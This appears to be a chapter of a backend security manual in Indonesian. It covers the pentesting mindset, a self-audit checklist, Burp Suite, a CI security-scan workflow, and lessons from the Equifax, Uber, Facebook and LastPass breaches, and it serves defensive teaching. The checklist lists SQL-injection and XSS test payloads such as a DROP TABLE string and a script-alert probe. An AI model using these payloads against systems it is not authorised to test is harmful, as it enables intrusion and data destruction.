Caddy / Automatic HTTPS (zero config)# Caddyfile, Caddy automatically obtains and renews Let's Encrypt certs yourapp.com { reverse_proxy localhost:8080 # TLS 1.2+ enforced, HSTS set, HTTP redirected, all automatic } # nginx equivalent server { listen 443 ssl; ssl_certificate /etc/letsencrypt/live/yourapp.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem; ssl_protocols TLSv1.2 TLSv1.3; # disable 1.0 and 1.1 ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256; add_header Strict-Transport-Security "max-age=63072000" always; }
Pola Pikir Penetration Testing: Berpikir Sebelum Rilis
Penetration testing (pentesting) adalah praktik menyerang sistem Anda sendiri seperti penyerang sungguhan, sebelum mereka mendapat kesempatan. Anda tidak perlu pentester profesional untuk menerapkan pola pikir ini. Tujuannya membangun kebiasaan bertanya "bagaimana aku memecah ini?" sebelum deploy.
Metodologi Penyerang (OWASP Testing Guide)
- Reconnaissance: Endpoint apa yang ada? Stack teknologi apa? Pesan error apa yang bocor? (
nmap, Google dorking, memeriksa bundel JS) - Enumeration: User ID apa yang ada? Route apa? Fuzz dengan ID berurutan, path umum (
/admin,/.env,/api/v1) - Exploitation: Coba payload injeksi, lewati auth, naikkan hak istimewa
- Post-exploitation: Apa yang bisa dieksfiltrasi, dimodifikasi, atau dihancurkan?
Checklist Audit Mandiri Cepat
Sebelum merilis fitur apa pun yang menyentuh data pengguna atau auth, jalankan ini manual atau dalam tes otomatis:
| Periksa | Yang Diuji | Tool / Cara |
|---|---|---|
| SQL Injection | Taruh ', '; DROP TABLE--, ' OR '1'='1 di setiap field input |
sqlmap, manual |
| BOLA | Login sebagai User A, minta ID resource User B | Manual + Burp Suite |
| BFLA | Hapus cookie/role admin, coba pukul endpoint admin | Manual |
| XSS | Kirim <script>alert(1)</script> di setiap field teks |
Manual, OWASP ZAP |
| Bypass auth | Hapus header auth sepenuhnya. Coba token kedaluwarsa. Coba token pengguna lain. | Manual |
| Secret | Cari codebase dan riwayat git untuk key yang di-hardcode | gitleaks, trufflehog |
| Header keamanan | Periksa header respons untuk CSP, HSTS, X-Frame-Options | securityheaders.com |
| Rate limiting | Kirim 100+ percobaan login, periksa apakah diblokir | loop curl, k6 |
Burp Suite: Tool Standar
Burp Suite Community Edition (gratis) adalah proxy yang duduk di antara browser dan backend Anda, memungkinkan Anda mencegat, memodifikasi, dan memutar ulang setiap request. Ia tool paling banyak dipakai untuk pentesting manual.
- Intercept: jeda request di tengah jalan dan modifikasi parameter apa pun sebelum sampai ke server Anda.
- Repeater: putar ulang request dengan payload berbeda (hebat untuk menguji injeksi).
- Intruder: fuzzing otomatis, coba ribuan payload terhadap satu parameter secara otomatis.
- Scanner (khusus Pro), pemindaian kerentanan otomatis.
PortSwigger Web Security Academy: Pembelajaran Berbasis Lab Gratis
Sumber daya gratis terbaik untuk latihan keamanan langsung. Setiap kerentanan punya:
- Penjelasan teori yang jelas
- Lab interaktif (aplikasi web rentan sungguhan, di browser)
- Walkthrough jika Anda macet
Mulai dengan: SQL Injection -> XSS -> IDOR (BOLA) -> Kerentanan Autentikasi -> Access Control. Tiap modul makan 1-3 jam dan mengajari Anda lebih dari sekadar membaca teori.
Pengujian Keamanan Otomatis di CI/CD
GitHub Actions / Security scan on every PRname: Security Scan on: [pull_request] jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: { fetch-depth: 0 } # full history for secret scanning # Scan for hardcoded secrets in entire git history - name: Gitleaks uses: gitleaks/gitleaks-action@v2 # Static analysis for Go security issues - name: Gosec uses: securego/gosec@master with: args: ./... # Dependency vulnerability check - name: Nancy (Go deps) run: | go list -json -m all | nancy sleuth
Studi Kasus Insiden Nyata
Teori mendarat lebih keras saat Anda melihat harganya bagi perusahaan nyata. Ini empat pembobolan keamanan paling instruktif, masing-masing secara langsung disebabkan kerentanan yang dibahas di bab ini.
(1) Equifax (2017): SQL Injection / Dependensi Tanpa Patch
Apa yang terjadi: Penyerang mengeksploitasi kerentanan yang dikenal (CVE-2017-5638) di Apache Struts, framework web Java yang dipakai Equifax. Kerentanan itu memungkinkan penyerang mengeksekusi perintah OS arbitrer lewat header HTTP yang direkayasa. Patch sudah tersedia dua bulan sebelum pembobolan. Equifax tidak menerapkannya.
Yang terlewat:
- Tanpa pemindaian kerentanan dependensi otomatis di CI/CD.
- Tanpa proses untuk segera menambal CVE kritis.
- Jaringan internal tidak disegmentasi, penyerang bergerak lateral dan mengakses 48 database tambahan setelah masuk.
- Inspeksi SSL dinonaktifkan karena sertifikat internal kedaluwarsa, lalu lintas jahat tak terdeteksi selama 76 hari.
Pelajaran: Jaga dependensi tetap terbarui. Jalankan pemindaian CVE otomatis (dependabot, snyk, nancy) di setiap build. Terapkan patch keamanan kritis dalam 24-72 jam.
(2) Uber (2022): Secret di Kode + Social Engineering
Apa yang terjadi: Penyerang berusia 18 tahun memakai MFA fatigue (membombardir kontraktor Uber dengan notifikasi push sampai mereka menerima satu) untuk akses awal. Mereka lalu menemukan skrip PowerShell di share jaringan internal yang berisi kredensial admin yang di-hardcode untuk tool Privileged Access Management (PAM) Uber. Dengan kredensial itu, mereka punya akses ke hampir semuanya.
Yang terlewat:
- Secret di-hardcode di skrip di share internal, bukan di secrets manager.
- Tanpa autentikasi tahan-MFA (hardware key / passkey) untuk akses istimewa.
- MFA push fatigue tidak dimitigasi (tanpa number-matching, tanpa rate limit percobaan push).
- Akses kontraktor terlalu istimewa, terlalu banyak gerakan lateral yang mungkin dari satu akun yang dikompromikan.
Pelajaran: Secret miliknya di secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler), jangan pernah di skrip, file config, atau pesan chat. Pakai MFA tahan-phishing (hardware key) untuk akses admin. Terapkan least-privilege di mana-mana.
(3) Facebook (2018): Otorisasi Rusak (Pencurian Access Token)
Apa yang terjadi: Fitur "View As" membuat pengguna melihat profilnya seperti yang dilihat pengguna lain. Bug di fitur ini menyebabkannya salah menghasilkan komponen video uploader dengan access token hidup, milik pengguna yang dilihat, bukan yang melihat. Tiga bug yang saling menumpuk menciptakan cacat ini:
- Video uploader salah ditampilkan dalam mode "View As".
- Uploader menghasilkan access token untuk pengguna yang salah (yang dilihat, bukan yang melihat).
- Access token punya izin akun penuh alih-alih scope terbatas.
Pelajaran: Otorisasi sulit diuji manual di skala. Prinsip BOLA berlaku: verifikasi kepemilikan di setiap titik akses data. Pakai token berumur pendek dengan scope minimal. Bangun tes otomatis khusus untuk batas otorisasi.
(4) LastPass (2022): Kompromi Mesin Developer -> Data Produksi
Apa yang terjadi: Penyerang pertama mengompromikan komputer rumah seorang engineer DevOps dengan mengeksploitasi paket perangkat lunak media yang rentan (Plex). Mesin itu punya akses ke environment backup cloud LastPass. Lewat satu mesin developer itu, penyerang mengeksfiltrasi:
- Vault kata sandi pelanggan terenkripsi (mahkota permata)
- Metadata pelanggan (email, alamat tagihan, alamat IP)
- Konfigurasi dan secret infrastruktur cloud
Yang terlewat:
- Mesin developer seharusnya tidak punya akses langsung ke environment backup produksi, pakai bastion host dan just-in-time access.
- Mesin pribadi yang dipakai kerja harus didaftarkan di MDM (Mobile Device Management) dengan kebijakan keamanan yang ditegakkan.
- Enkripsi vault memakai PBKDF2 dengan iterasi rendah, kata sandi master yang lemah bisa dipecahkan offline.
- Tanpa deteksi anomali pada volume data tidak biasa yang dieksfiltrasi.
Pelajaran: Supply chain bagian dari permukaan serangan Anda. Laptop rumah developer bagian dari perimeter keamanan Anda. Segmentasi akses produksi. Pantau eksfiltrasi data anomali. Pakai hardware security key untuk akses produksi.
Benang Merah di Keempatnya
Referensi & Bacaan Lanjutan
Backend Field Manual / Backend Security / Bab 17 (Diperluas)